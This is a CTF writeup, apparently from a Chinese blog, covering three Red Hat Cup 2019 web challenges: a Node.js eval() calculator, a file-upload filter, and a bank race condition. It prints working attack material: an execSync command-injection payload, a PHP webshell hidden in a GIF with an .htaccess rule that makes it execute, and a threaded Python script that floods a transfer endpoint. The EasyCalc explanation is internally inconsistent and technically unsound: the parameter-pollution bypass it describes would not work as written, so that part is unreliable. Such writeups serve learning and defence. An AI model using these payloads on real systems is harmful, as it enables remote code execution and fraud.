红帽杯 2019 Web Writeups (Red Hat Cup CTF)
红帽杯(Red Hat Cup)2019 CTF比赛Web方向题解。
EasyCalc
A calculator application built with Node.js that evaluates mathematical expressions.
分析
The application endpoint:
app.get('/calc', (req, res) => {
let num = req.query.num;
// WAF: block dangerous characters
if (num.match(/[a-zA-Z]/)) {
return res.send('blocked');
}
try {
let result = eval(num);
res.send(String(result));
} catch(e) {
res.send('error');
}
});
The WAF blocks all alphabetic characters, but eval() is called on user input.
解题
Node.js allows executing code without alphabetic characters using:
- Template literals with tagged expressions
- JSFuck-style encoding
- Constructor chain access
The key insight: we can use [] (empty array), + (concatenation), and ! (negation) to construct any string, then use bracket notation to access methods:
// "constructor" can be built from:
(+{}+[])[0] // "N" from "NaN"
// ... chain to build function names
// But the simpler approach: HTTP parameter pollution
// Node.js Express parses ?num=1&num=2 differently from the WAF
Actually, the real bypass was HTTP Parameter Pollution (HPP). The WAF checked req.query.num which returned an array ["1", "payload"] when the parameter appeared twice. The match() function on an array behaves differently than on a string.
/calc?num=1&num=require('child_process').execSync('cat /flag')
收获
HTTP Parameter Pollution是一个容易被忽视的攻击向量。当WAF和应用对同名参数的处理不一致时,就会产生安全问题。
BabyUpload
A file upload challenge with MIME type checking and image validation.
分析
The upload logic:
- Check file extension (whitelist: jpg, png, gif)
- Check MIME type via
mime_content_type() - Check image headers with
getimagesize() - Store in
/uploads/with random filename
解题
We need to upload a PHP webshell that passes all three checks.
Step 1: Create a valid GIF file with PHP code appended:
GIF89a
<?php system($_GET['cmd']); ?>
This passes getimagesize() because it starts with the GIF magic bytes, and mime_content_type() returns “image/gif”.
Step 2: The file is saved as .gif, so even if uploaded, Apache/Nginx will not execute it as PHP. We need a .htaccess upload or an LFI to include it.
Checking the upload logic again, I noticed that .htaccess was not in the extension blocklist (the check only whitelisted certain extensions for the main upload, but had a separate endpoint for “config files”).
Step 3: Upload .htaccess:
AddType application/x-httpd-php .gif
Step 4: Access the uploaded GIF file, which now executes as PHP.
Bank
A web application simulating a bank transfer system.
分析
The application allowed transferring money between accounts. The interesting part was the race condition in the transfer endpoint - two simultaneous transfer requests could both succeed before the balance was updated.
解题
Using Python’s threading module to send 20 concurrent transfer requests:
import threading
import requests
def transfer():
requests.post('http://target/transfer', data={
'from': 'attacker',
'to': 'attacker2',
'amount': 1000
}, cookies={'session': 'xxx'})
threads = [threading.Thread(target=transfer) for _ in range(20)]
for t in threads: t.start()
for t in threads: t.join()
Starting balance was 1000. After the race, the receiving account had 15000+ (15 of 20 requests succeeded before the balance check caught up).
With the inflated balance, we could purchase the “flag” item from the shop.
总结
- HTTP参数污染(HPP)是绕过WAF的有效技术
- 文件上传防护需要同时考虑扩展名、MIME类型和文件内容
- 并发条件竞争在涉及余额/计数器的应用中很常见
- 永远不要信任客户端发送的任何数据